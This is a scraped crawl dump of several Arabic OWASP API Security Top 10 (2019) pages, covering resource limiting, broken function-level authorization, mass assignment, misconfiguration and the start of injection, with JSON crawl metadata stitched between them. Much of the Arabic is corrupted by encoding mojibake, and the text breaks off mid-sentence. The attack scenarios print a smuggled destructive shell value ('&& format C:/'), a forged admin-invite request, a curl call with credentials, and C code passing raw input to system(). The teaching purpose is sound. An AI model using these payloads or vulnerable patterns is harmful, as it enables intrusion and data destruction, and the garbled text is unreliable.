و؜ؚ في الاعتبار ان طلبات واجهة برمجة التطبيقات API التي تفوق قدرات البنية التحتية تعرضها للخطر بشكل كبير اذا لم يتم تداركها و و؜ؚ معدل لمستوى ومحتوى تلك الطلبات ومنها:\n\n- مدة حياة الطلب\n- اعلى Ř­ŘŻ من استخدام الذاكرة العشوائية لكل طلب\n- ؚدد الملفات وطرق وصفها وحفظها وعرضها\n- ؚدد العمليات\n- ؚدد وحجم البياتات عند رفعها\n- ؚدد الطلبات لكل مستخدŮ\n- ؚدد الصفحات التي يتم عرضها في كل طلب و است؏اب؊ لصفحة الواحدة.\n\n## امثلة على سيناريوهات الهجوم:\n\n### السيناريو الاول:\n\nيقوم المهاجم بعفؚ ؾوع؊ كبيرة الحجم والابعاد عن طريق طلب POST الى `/api/v1/images` وعند اكتمال عملية الرفع يقوم الخادم باستؚعا؜ الصور المتبقية على هيئة ايقونات مصغرة بسبب الابعاد والحجم الذي قد يستغرق الموارد وقد يؤدي الى عدم واجهة برمجة التطبيقات API.\n\n## السيناريو الثاني :\n\nيقوم التطبيق بؚع؜ المستخدمين بحد اقصى 200 مستخدم في كل ؾفح؊ من خلال ارسال طلب الى `/api/users?page=1&size=200`، مما قد يمكن المهاجم من تغير القيمة الى 200000 في ؚدد أسماء المستخدمين المعروضة في ؾفح؊ واحد مما يسبب في حدو؍ مشكلات في أدا؊ قاعدة البيانات وفي الوقت نفسة تؾبح واجهة برمجة التطبيقات غير متاحة وغير قادرة على التعامل مع الطلبات الأخرى ( هجمة ح؏ب الخدمة DOS ) ويمكن استخدام نفس السيناريو لاستعراض الأخطاء او لاستغلال بؚ؜ عمليات Integer Overflow او Buffer Overflow.\n\n### كيف أمنع هذه الثغرة؟\n\n- استخدم منصة Docker مما يجعل الامر في غاية البساطة في التحكم في الذاكرة العشوائية او وحدات المعالجة و التخزين\n- ؜ؚ معدل محدد لعدد الطلبات التي يقوم بطلبها المستخدم خلال اءاع زمني معين\n- ا؎ءاع المستخدم عند ت؏ازو المعدل المحدد في الاطار الزمني المعين\n- قم با؜اف؊ بؚ؜ آليات التحقق من جانب الخادم في عمليات الطلبات او حتى التحقق من النصوص او العمليات او الطلبات وتحديداً في تلك العمليات التي تتطلب ؚدد من السجلات يتم استرجاعها من العميل.\n- تحديد وفع؜ الحد الاعلى لحجم وابؚاد الطلبات المرفوعة مثل الحد الاقصى لعدد الجمل او الحد الاعلى لعدد الاسطر\n\n### المراجع :\n\n- [Blocking Brute Force Attacks](https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks)\n- [Docker Cheat Sheet - Limit resources (memory, CPU, file descriptors,\n processes, restarts)](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md#rule-7---limit-resources-memory-cpu-file-descriptors-processes-restarts)\n- [REST Assessment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md)\n\n### المصادر الخارجية :\n\n- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n- [CWE-770: Allocation of Resources Without Limits or Throttling](https://cwe.mitre.org/data/definitions/770.html)\n- “ *Rate Limiting (Throttling)* ” - [Security Strategies for Microservices-based\n Application Systems](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf) , NIST", "znaku_textu": 5567, "slov": 616, "odkazu": 166, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:08", "sha256": "4504b28bf6fb7d8f09ee5c4e6e005cfc449802719897d0dcb91e935179ec5e00", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/770.html", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0xa5-broken-function-level-authorization/", "titulek": "API5:2019 ؜ؚف في التحقق من الهوية واداع؊ الصلاحيات و التفويض - OWASP API Security Top 10", "h1": "API5:2019 ؜ؚف في التحقق من الهوية واداع؊ الصلاحيات و التفويض", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0xa5-broken-function-level-authorization/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API5:2019 ؜ؚف في التحقق من الهوية واداع؊ الصلاحيات و التفويض"}, {"uroven": 2, "text": "هل أنا معرض لهذه الثغرة؟"}, {"uroven": 2, "text": "امثلة على سيناريوهات الهجوم:"}, {"uroven": 3, "text": "السيناريو الاول:"}, {"uroven": 3, "text": "السيناريو الثاني :"}, {"uroven": 3, "text": "كيف أمنع هذه الثغرة؟"}, {"uroven": 2, "text": "المراجع :"}, {"uroven": 3, "text": "المصادر الخارجية :"}], "markdown": "# API5:2019 ؜ؚف في التحقق من الهوية واداع؊ الصلاحيات و التفويض\n\n| عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير |\n| --- | --- | --- |\n| ؎ؾا،ؾ API : قابلية الاستغلال **3** | الانتشار **2** : قابلية الاكتشاف **1** | التأثر التقني **2** : ŘŞŘŁŘŤŘą الأعمال |\n| ان عملية استغلال هذه الثغرة بسيط نسيباً بحيث يستطيع المهاجم ارسال طلب غير ؜اع من خلال واجهة برمجة التطبيقات API الى مصادر البيانات التي من الغير مصرح له بالاطلاع عليها. وقد تكون تلك المصادر متاحة للمسخدمين المجهولين او المستخدم الذي لا يملك صلاحيات عالية. وحيث ان من السهل اكتشاف مثل تلك الثغرات من خلال معرفة سلوك الطلبات والياتها المستخدمة وطرق طلبها والردود المتوقعة من كل طلب وقد يتم استغلالها ببساء؊ من خلال استبدال طلب GET بـ PUT او تغير صلاحيات المستخدم من \"User \" الى \"Admin\". | ؚاد؊ ما يتم تحديد صلاحيات الوصول للموارد من خلال الاعدادات. وفي بؚ؜ الأحيان على مستوى الاكواد البرمجية، ان عملية تنصيب طرق التحقق بالشكل الصحيح قد تكون في بؚ؜ الأحيان عملية معقدة. حيث ان معظم التطبيقات الحديثة تحتوي على مختلف الصلاحيات والمجموعات بتسلسل هرمي معقد بؚ؜ الشئ. | بؚ؜ آليات العمل قد تسمح للمهاجم في الاستفادة والوصول والاطلاع الغير مصرح به، او حصوله على صلاحيات إدارية تمكنه من التحكم والسيطرة. |\n\n## هل أنا معرض لهذه الثغرة؟\n\nأفضل طريقة للعثور على مشكلات وخلل تفويض مستوى الصلاحيات والمصادقة هي ؼ؏عاإ تحليل عميق لآلية التفويض ، مع مراعاة التسلسل الهرمي للمستخدم ، والأدوار أو المجموعات المختلفة في التطبيق ، وءعح الأسئلة التالية:\n\n- هل يستطيع المستخدم العادي الوصول الى مصادر صلاحيات المدراء ؟\n- هل يستطيع المستخدم تعديل او تعيين او مسح مصادر البيانات عند تغير طريقة الطلب للبروتوكول على سبيل المثال من GET الى DELETE ؟\n- هل يستطيع المستخدم في مجموعة ŘŁ من الوصول الى مصادر المجموعة ب من خلال تخمين مصدر تلك المجموعة `/api/v1/users/export_all`\n- لا تقم بو؜ؚ وتقسيم الصلاحيات ما بين الصلاحيات المعتادة والصلاحيات الادارية من خلال مسار URL.\n- و من الشائع لدى المطورين ؚع؜ مصادر البيانات الإدارية ضمن مسار محدد مثل API/Admin ومن الشائع كذلك استخدام مصادر واحد؊ للمستخدم العادي وكذلك للمدراء مثل api/users.\n\n## امثلة على سيناريوهات الهجوم:\n\n### السيناريو الاول:\n\nيقوم التطبيق فقط بالسماح للمستخدمين المدعوين بالتسجيل، حيث يقوم التطبيق بطلب API الخاص من خلال طلب GET على سبيل المثال المسار التالي `/api/invites/{invite_guid}` ويأتي الرد من الخادم والذي يحتوي على ملف JSON مع تفاصيل الدعوة، وكذلك تفاصيل المستخدمين و الصلاحيات والبريد الالكتروني.\n\nيقوم المهاجم بتكعاع الطلبات ومحاولة التلاعب والتعديل في طريقة الطلب من مصدر البيانات من GET الى POST مع المسار التالي `/api/invites/new` حيث ان هذا المسار مسموح بالوصول له فقط لأصحاب الصلاحيات الإدارية بواسء؊ ؾفح؊ الإدارة والتي من الواضح عدم تطبيق مستوى المصادقة والتفويض على مستوى الصلاحية.\n\nالمهاجم قام باستغلال الخطأ من خلال ارسال طلب دؚو؊ لنفسه ومن ثم قام بإنشاء حساب بصلاحيات مرتفعة.\n\n```\nPOST /api/invites/new\n\n{“email”:”[email protected]”,”role”:”admin”}\n```\n\n### السيناريو الثاني :\n\nتحتوي واجهة برمجة التطبيقات API على صلاحيات وصول الى مصادر البيانات والمحددة فقط لمدراء النظام من خلال الطلب باستخدام GET للمسار التالي `/api/admin/v1/users/all` حيث ان مصدر البيانات عند اع؏اؚ البيانات لا تقوم بالتأكد من صلاحيات من قام بطلبها او الصلاحيات المخولة له مما يمكن المهاجم من تخمين المسارات الخاصة بمصادر البيانات لاستعراض بيانات حساس؊ غير مصرح له بالوصول لها.\n\n### كيف أمنع هذه الثغرة؟\n\nيجب أن يحتوي التطبيق الخاص بك على وحد؊ تفويض متسقة وسهلة التحليل يتم استدعاؤها من خلال جميع وظا،ف تطبيقك. في كثير من الأحيان يتم توفير هذه الحماية بواسء؊ مكون أو أك؍ع ؎اع؏ الاكواد البرمجية الخاصة بالتطبيق.\n\n- يجب منع الوصول لجميع المصادر بشكل افتراضي وبؚد ذلك يتم السماح والاستثناء للمصادر لكل مصدر على Ř­ŘŻŘŠ ولكل صلاحية بشكل مستقل.\n- قم بمراجعة صلاحيات المصادقة والتفويض الخاص بالآليات العمل، مع مراعاة منطق التسلسل الهرمي وصلاحيات المجموعات والصلاحيات على مستوى المستخدمين.\n- التأكد من ان صلاحيات التحكم الادارية مبنية بشكل سليم ومرتبطة بصلاحيات المصادقة والتفويض لكل مجموعة او مستخدم او صلاحية.\n- التأكد من ان الاوامر والصلاحيات الادارية مبنية بشكل محوكم وهناك وحد؊ تحكم تقوم بفحؾ الصلاحيات والتفويض لكل مستخدم بناء على المجموعة التي تم تعيينه بداخلها.\n\n## المراجع :\n\n- [OWASP Article on Forced Browsing](https://www.owasp.org/index.php/Forced_browsing)\n- [OWASP Top 10 2013-A7-Missing Function Level Access Control](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control)\n- [OWASP Development Guide: Chapter on Authorization](https://www.owasp.org/index.php/Category:Access_Control)\n\n### المصادر الخارجية :\n\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)", "znaku_textu": 7252, "slov": 842, "odkazu": 165, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:17", "sha256": "99c7fdd45a7ae3e720ba1760ab202bffdd0727ad863a48d4ed8e70589cb528f2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Forced_browsing", "https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control", "https://www.owasp.org/index.php/Category:Access_Control", "https://cwe.mitre.org/data/definitions/285.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0xa6-mass-assignment/", "titulek": "API6:2019 التعيين الجماعي - OWASP API Security Top 10", "h1": "API6:2019 التعيين الجماعي", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0xa6-mass-assignment/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API6:2019 التعيين الجماعي"}, {"uroven": 2, "text": "هل أنا معرض لهذه الثغرة؟"}, {"uroven": 3, "text": "أمثلة على بؚ؜ الخصائص الحساسة:"}, {"uroven": 2, "text": "أمثلة على سيناريوهات الهجوم:"}, {"uroven": 3, "text": "السيناريو الأول"}, {"uroven": 3, "text": "السيناريو الثاني:"}, {"uroven": 2, "text": "كيف أمنع هذه الثغرة؟"}, {"uroven": 4, "text": "المراجع:"}, {"uroven": 4, "text": "المصادر الخارجية:"}], "markdown": "# API6:2019 التعيين الجماعي\n\n| عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير |\n| --- | --- | --- |\n| ؎ؾا،ؾ API : قابلية الاستغلال **2** | الانتشار **2** : قابلية الاكتشاف **2** | التأثر التقني **2** : ŘŞŘŁŘŤŘą الأعمال |\n| يتطلب الاستغلال عادةً فهم منطق آلية العمل وعلاقة الكائنات ببعضها وهيكل واجهة برمجة التطبيقات API. حيث يعد استغلال التعيين الجماعي أسهل في واجهات برمجة التطبيقاتAPI ، حيث أنها تفؾح عن أ؏زاإ من بنية التطبيق ومسميات خصائصه. | ŘŞŘ´ŘŹŘš الأطر الحديثة في البرمجة المطورين على استخدام الدوال التي تعبء بشكل الأوتوماتيكي المدخلات من المستخدم مع المتغيرات البرمجية ومكونات التطبيق الداخلية. يستطيع المهاجم استخدام هذه الخاصية لتحديث أو تغيير بؚ؜ الخصائص الحساسة لمكونات التطبيق التي لم ينوى المطور السماح بها. | قد يؤدي هذا الاستغلال إلى تصعيد الصلاحيات والتلاعب بالبيانات وت؏اوز آليات الأمان وغير ذلك. |\n\n## هل أنا معرض لهذه الثغرة؟\n\nتحتوي بؚ؜ التطبيقات الحديثة على العديد من الخصائص وبؚ؜ تلك الخصائص يجب تحديثها بواسء؊ المستخدمين على سبيل المثال `user.first_name` أو `user.address` وبؚ؜ الخصائص لا يسمح للمستخدمين بتعديلها على سبيل المثال `user.is_vip`.\n\nتكون واجهة برمجة التطبيقات API ومصادر البيانات ؚع؜؊ للاختراق ؼذا تم استخدام مدخلات المستخدم ككائنات داخلية، من دون مراعاة لمستوى حساسية و؎ءوع؊ تلك الكائنات. وها قد يسمح للمهاجم بتحديث ؎ؾا،ؾ الكائنات التي لا يجب أو غير مصرح له بالوصول إليها.\n\n### أمثلة على بؚ؜ الخصائص الحساسة:\n\n- التعديل في بؚ؜ الخواص: مثل `user.is_admin` , `user.is_vip` يجب أن تكون فقط لأصحاب الصلاحيات الإدارية.\n- الخواص المعتدة على العمليات: مثل `user.cash` يجب أن يتم التحقق داخلياً بؚد التأكد من عملية الدفع.\n- الخواص الداخلية: على سبيل المثال `article.created_time` يجب أن يكون داخلياً وبواسء؊ التطبيق فقط.\n\n## أمثلة على سيناريوهات الهجوم:\n\n### السيناريو الأول\n\nتطبيق مخصص لرحلات يوفر للمستخدم خيار تعديل البيانات والمعلومات الأساسية للملف الشخصي من خلال إرسال طلب بواسء؊ برمجة واجهة التطبيقات API التالي `/api/v1/users/me` بواسء؊ طلب PUT باستخدامJSON بالشكل التالي:\n\n```\n{\"user_name\":\"inons\",\"age\":24}\n```\n\nيتضمن الطلب GET للمسار التالي `/api/v1/users/me` مع خاصية معرفة الرصيد الائتمانية:\n\n```\n{\"user_name\":\"inons\",\"age\":24,\"credit_balance\":10}\n```\n\nحيث قام المهاجم باؚتعا؜ الطلب وتغيره إلى التالي:\n\n```\n{\"user_name\":\"attacker\",\"age\":60,\"credit_balance\":99999}\n```\n\nونظراً لان مصادر البيانات مصابة بخلل في التعيين والتعديل قام المهاجم بالحصول على مبالغ مالية من دون دفؚ أي مبلغ حقيقي.\n\n### السيناريو الثاني:\n\nتتيح منصة مشاركة ملفات الفيديو تحميل وعفؚ وتنزيل الملفات بتنسيقات وامتدادات مختلفة. حيث لاحظ المهاجم أن واجهة برمجة التطبيقات والتي تستطيع الوصول لها من خلال طلب GET على المسار التالي `/api/v1/videos/{video_id}/meta_data` انه يستطيع الحصول على ملف JSON يحتوي على ؎ؾا،ؾ ملفات الفيديو. على سبيل المثال `mp4_conversion_params\":\"-v codec h264` مما يوضح أن التطبيق يستخدم أوامر Shell لعملية تحويل الفيديو.\n\nو؏د المهاجم احد مصادر البيانات مصابة بالثغرة التي تسمح له بالتعديل والتعين فقام بإرسال تعليمات برمجية ؜اع؊ باستخدام واجهة برمجة التطبيقات API مع طلب POST من خلال المسار التالي `/api/v1/videos/new` حيث قام بتعين القيمة التالية مع العملية `mp4_conversion_params\":\"-v codec h264 && format C:/` والتي سمحت للمهاجم بتنفيذ التعليمات من خلال أوامر Shell بؚد إرساله لطلب تنزيل ملف الفيديو.\n\n## كيف أمنع هذه الثغرة؟\n\n- تجنب بقدر ما يمكن استخدام الوظائف التي تتطلب من المستخدم إدخال بؚ؜ المتغيرات في الاكواد الداخلية.\n- أ؜ف الخصائص التي يتوجب على المستخدم إدخالها إلى قائمة بيضاء محددة.\n- استخدام الطرق والأساليب التي تمنع المستخدم من الاطلاع أو الوصول غير المصرح به إلى المصادر أو الخصائص.\n- ؼذا كان من الممكن فع؜ سياسة استخدام مدخلات محددة في البيانات عند عمليات الرفع أو التنزيل.\n\n#### المراجع:\n\n#### المصادر الخارجية:\n\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)", "znaku_textu": 5946, "slov": 654, "odkazu": 160, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:46", "sha256": "f45d1411e8a2e5bed17c54933086793e854343b02806223f11413597426cd42d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/915.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0xa7-security-misconfiguration/", "titulek": "API7:2019 الاعداد الخاطئ - OWASP API Security Top 10", "h1": "API7:2019 الاعداد الخاطئ", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0xa7-security-misconfiguration/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API7:2019 الاعداد الخاطئ"}, {"uroven": 2, "text": "هل أنا معرض لهذه الثغرة؟"}, {"uroven": 3, "text": "قد يكون واجهة التطبيقات API معرضة لثغرات في حال :"}, {"uroven": 2, "text": "امثلة على سيناريوهات الهجوم:"}, {"uroven": 3, "text": "السيناريو الاول:"}, {"uroven": 3, "text": "السيناريو الثاني :"}, {"uroven": 3, "text": "السيناريو الثالث"}, {"uroven": 2, "text": "كيف أمنع هذه الثغرة؟"}, {"uroven": 3, "text": "دوع؊ حياة واجهة برمجة التطبيقات API لابد ان تشتمل على :"}, {"uroven": 3, "text": "علاوة على ذلك:"}, {"uroven": 4, "text": "المصادر الخارجية :"}], "markdown": "# API7:2019 الاعداد الخاطئ\n\n| عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير |\n| --- | --- | --- |\n| ؎ؾا،ؾ API : قابلية الاستغلال **3** | الانتشار **3** : قابلية الاكتشاف **3** | التأثر التقني **2** : ŘŞŘŁŘŤŘą الأعمال |\n| يحاول المهاجمون غالباً البحث عن الثغرات الأمنية على مستوى الأنظمة او اليات العمل اول على مصادر بيانات غير محمية وذلك بغاية الوصول الغير مصرح به للمعلومات. | يمكن ان يحدث الاعداد الخاطئ في أي مستوى من مستويات واجهة برمجة التطبيقات API، ابتداءًا من مستوى الشبكة الى مستوى التطبيقات، حيث تتوفع الأدوات للقيام بالفحص واكتشاف الأخطاء بشكل آلي وذلك بهدف البحث عن مواطن الإعدادات الخاطئة او الخدمات الفعالة والغير ضرورية او الخيارات القديمة والمصابة ب؍غعات. | قد يؤدي عملية الإعدادات الخاطئة الى تسريب البيانات وكذلك اختراق الأنظمة والخوادم. |\n\n## هل أنا معرض لهذه الثغرة؟\n\n### قد يكون واجهة التطبيقات API معرضة لثغرات في حال :\n\n- اذا لم يكن هناك أي آلية متبعة لعملية تعزيز حماية النظام في جميع مراحله او اذا كان هناك تهيئة غير صحيحة على الخدمات السحابية.\n- اذا لم يكن هناك آلية لسد الثغرات الأمنية او في حال كانت الأنظمة المستخدمة غير محدثة او ؎اع؏؊ عن الخدمة.\n- اذا كان هناك تفعيل لبعض الطلبات الغير مطلوبة مثل بؚ؜ طلبات HTTP الغير مستخدمة TREAC او DELETE على سبيل المثال.\n- اذا لم يتم استخدام التشفير بواسء؊ TLS.\n- ؼذا لم يتم تعين سياسة مشاركة المواد بطريقة صحيحة او كان هناك ؎ءا في الإعدادات الخاصة بها\n- ؼذا كانت رسائل الخطأ تحتوي على معلومات حساس؊ ويمكن تتبعها.\n\n## امثلة على سيناريوهات الهجوم:\n\n### السيناريو الاول:\n\nيعثر المهاجم على ملف `.bash_history` في احد المسارات الرئيسية في الخادم والذي يحتوي على الأوامر التي يستخدمها المطورين في الوصول الى واجهة برمجية التطبيقات API.\n\n```\n$ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg=='\n```\n\nيمكن للمهاجم ايضاً معرفة مصادر البيانات من خلال الأوامر التي يستخدمها المطورين من خلال تكعاع عملية الوصول للملف أعلاه وما Ř­ŘŻŘŤ ذلك الا بسبب عدم توثيق الإجراءات بالشكل الصحيح.\n\n### السيناريو الثاني :\n\nيقوم المهاجمون في معظم الأحيان باستخدام محركات البحث بهدف الحصول على خوادم يستطيع من خلالها الوصول الى مصدر البيانات بشكل مباشر. او من خلال البحث عن ŘŁŘ­ŘŻ المنافذ المشهورة في قواعد البيانات او في ؼداع؊ الأنظمة والخوادم. وفي حال كان الخادم او النظام المستهدف يقوم باستخدام الأعدادت الافتراضية وغير محمي باستخدام مصادقة صحيحة قد يمكن المهاجم من الوصول للبيانات الشخصية PII والذي قد يؤدي الى تسريب بيانات المستخدمين لتلك الخدمة.\n\n### السيناريو الثالث\n\nعند اؚتعا؜ حعك؊ المرور للبيانات الخاصة بأحد تطبيقات الهواتف المحمولة والتي تستخدم بروتوكول TLS في حعك؊ البيانات ولكن لا تعتمد على التشفير باستخدام TLS عند استخدام واجهة برمجة التطبيقات API وبؚد البحث من قبل المهاجم استءاؚ معرفة ان عملية تحميل وعفؚ الصور يتم بشكل غير مشفر، فقد و؏د المهاجم نمط وطريقة لمعرفة الاستجابة الواردة من قبل الخادم او من قبل مصدر البيانات والتي قد تمكنه بطريقة او بأخرى من تتبؚ تفضيلات المستخدمين عند تنزيل او ؚع؜ تلك الصور.\n\n## كيف أمنع هذه الثغرة؟\n\n### دوع؊ حياة واجهة برمجة التطبيقات API لابد ان تشتمل على :\n\n- عملية تعزيز حماية الأنظمة تساهم بشكل كبير في بناء بيئة امنة و موثوقة\n- إيجاد آلية لمراجعة الإعدادات و التحديثات بأكملها ويجب ان تتضمن مراجعة كل من ملفات الحفظ و المزامنة مكونات واجهة برمجة التطبيقات API و الخدمات السحابية.\n- توفير اتصال امن و مشفر لجميع الاتصالات في التعامل مع التطبيق او عفؚ وتحميل الصور.\n- عملية تقييم امني مستمر لمعرفة مستوى نضج الاعدادات في جميع انحاء البنية التحتية.\n\n### علاوة على ذلك:\n\n- لمنع تتبؚ الأخطاء التي قد يتم الرد بها بؚد عمليات الطلب والتي قد تمكن المهاجم من استؚعا؜ البيانات الحساسة يجب ان تكون جميع الردود محدودة ومحصورة بما في ذلك عمليات الاستجابة للأخطاء.\n- تأكد انه لا يمكن الوصول الى واجهة برمجة التطبيقات API الا من خلال احد الطلبات المحددة وعدم السماح بجميع الطلبات الخاصة ببروتوكول HTTP بالعمل بل ويجب تعطيلها مثال (HEAD , TRACE).\n- يجب على واجهات برمجة التطبيقات API التي تتوقع أن يتم الوصول إليها من عملاء يستندون إلى المتصفح على سبيل المثال (الواجهة الامامية لخدمات الويب) يجب تنفيذ سياسة سليمة وموثوقة لمشاركة الموارد ؚبع (CORS).\n\nالمراجع :\n\n- [OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project)\n- [OWASP Testing Guide: Configuration Management](https://www.owasp.org/index.php/Testing_for_configuration_management)\n- [OWASP Testing Guide: Testing for Error Codes](https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001))\n- [OWASP Testing Guide: Test Cross Origin Resource Sharing](https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007))\n\n#### المصادر الخارجية :\n\n- [CWE-2: Environmental Security Flaws](https://cwe.mitre.org/data/definitions/2.html)\n- [CWE-16: Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-388: Error Handling](https://cwe.mitre.org/data/definitions/388.html)\n- [Guide to General Server Security](https://csrc.nist.gov/publications/detail/sp/800-123/final) , NIST\n- [Let’s Encrypt: a free, automated, and open Certificate Authority](https://letsencrypt.org/)", "znaku_textu": 7562, "slov": 870, "odkazu": 172, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:03", "sha256": "c279b353a0fa2164b0294ed2436680d9f42678b29b89f543680e9eadef405934", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Secure_Headers_Project", "https://www.owasp.org/index.php/Testing_for_configuration_management", "https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001)", "https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)", "https://cwe.mitre.org/data/definitions/2.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/388.html", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://letsencrypt.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0xa8-injection/", "titulek": "API8:2019 الحقن - OWASP API Security Top 10", "h1": "API8:2019 الحقن", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0xa8-injection/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API8:2019 الحقن"}, {"uroven": 2, "text": "هل أنا معرض لهذه الثغرة؟"}, {"uroven": 3, "text": "قد تكون واجهة برمجة التطبيقات API معرضة للاستغلال بمثل هذه الهجمات عندما :"}, {"uroven": 2, "text": "أمثلة على سيناريوهات الهجوم:"}, {"uroven": 3, "text": "السيناريو الأول:"}, {"uroven": 3, "text": "السيناريو الثاني :"}, {"uroven": 2, "text": "كيف أمنع هذه الثغرة؟"}, {"uroven": 2, "text": "المراجع"}, {"uroven": 3, "text": "مصادر خارجية :"}], "markdown": "# API8:2019 الحقن\n\n| عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير |\n| --- | --- | --- |\n| ؎ؾا،ؾ API : قابلية الاستغلال **3** | الانتشار **2** : قابلية الاكتشاف **3** | التأثر التقني **3** : ŘŞŘŁŘŤŘą الأعمال |\n| يقوم المهاجمون بإرسال بيانات ؜اع؊ من خلال واجهة برمجة التطبيقات API وذلك من خلال حقنها بأي طريقة ممكنة ( مثل الإدخال المباشر و التعليمات البرمجية و طرق عبء الخدمات ...الخ) على أمل إرسالها إلى المفسر. | تؚتبع ؍غعات الحقن منشرة وشا،ؚ؊ في استعلامات SQL و LDAP و NoSQL وأوامر أنظمة التشغيل و XML parsers و ORM. واكتشاف هذه الثغرات يعتبر سهل عن مراجعة الشفرة المصدرية. بإمكان المهاجمين استخدام أدوات الفحص. | يمكن أن يؤدي الحقن إلى ؼفشاإ المعلومات أو مسح وفقدان البيانات. كما يمكن أن يودي إلى ح؏ب الخدمة DoS، أو اختراق كامل للنظام. |\n\n## هل أنا معرض لهذه الثغرة؟\n\n### قد تكون واجهة برمجة التطبيقات API معرضة للاستغلال بمثل هذه الهجمات عندما :\n\n- لا يتم تصفية البيانات أو التحقق منها في حال كانت مقدمة من المستخدمين من طريق واجهة برمجة التطبيقات.\n- يتم استخدام البيانات بشكل مباشر مع SQL/NoSQL/LDAP queries, OS commands, XML parsers.\n- لا يتم التحقق من ؾح؊ البيانات الواردة من أنظمة خارجية مثل (الأنظمة المرتبطة بالخادم) أو تصفيتها أو التحقق منها من قبل واجهة برمجة التطبيقات API قبل عملية استخدامها\n\n## أمثلة على سيناريوهات الهجوم:\n\n### السيناريو الأول:\n\nيقوم نظام جهاز التحكم الأبوي باستخدام المسار `/api/CONFIG/restore`والذي يتوقع أن يستقبل معرف التطبيق appId في أ؏زاإ متعددة.\nفباستخدام برنامج فك وتحويل الشفرات البرمجية(decompile)، يجد المهاجم أن المعرف appId يتم تمريره مباشرة للنظام ومن غير عوامل التصفية المقترحة:\n\n```\nsnprintf(cmd, 128, \"%srestore_backup.sh /tmp/postfile.bin %s %d\",\n \"/mnt/shares/usr/bin/scripts/\", appid, 66);\nsystem(cmd);\n```\n\nيسمح الأمر التالي 